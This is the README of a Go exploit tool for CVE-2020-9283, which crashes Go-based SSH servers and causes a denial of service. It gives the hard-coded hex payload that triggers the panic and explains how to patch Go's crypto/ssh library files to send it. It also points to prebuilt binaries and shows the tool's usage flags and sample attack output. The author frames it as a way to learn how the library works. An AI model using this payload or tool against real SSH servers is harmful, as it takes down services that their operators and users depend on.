
Exploit for CVE-2020-9283 based on Go
Ce projet s'inspire du POC original trouvé ici github.com/mark-adams/exploits/CVE-2020-9283. J'étais curieux de savoir comment la bibliothèque SSH Go était implémentée, j'ai donc décidé d'implémenter le PoC en Go.
Un court article se trouve ici https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
Il déclenche une panic sur un serveur SSH basé sur Go, ce qui peut mener à un déni de service (DoS).
J'ai publié des binaires dans la section Release, mais vous pouvez reconstruire le vôtre en utilisant le code source ci-joint.
J'ai décidé de modifier directement la bibliothèque crypto Go sur mon système pour comprendre son fonctionnement, ce n'est pas idéal et probablement pas la meilleure façon de procéder, mais ça marche ;) Si vous voulez recompiler en utilisant les modules Go, remplacez le contenu des fichiers Crypto/ssh client_auth.go, handshake.go, transport.go sur votre système local par les fichiers ".bak" situés ici. Ces fichiers modifiés contiennent des sorties de débogage verbeuses et un payload codé en dur de "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161" qui déclenche la panic.
Vous verrez beaucoup de sorties de débogage et des "erreurs", c'est normal. Si votre cible a paniqué, vous devriez voir des erreurs liées à "bad key lengths". Si vous voulez tester localement, utilisez le code vulnérable qui se trouve ici github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'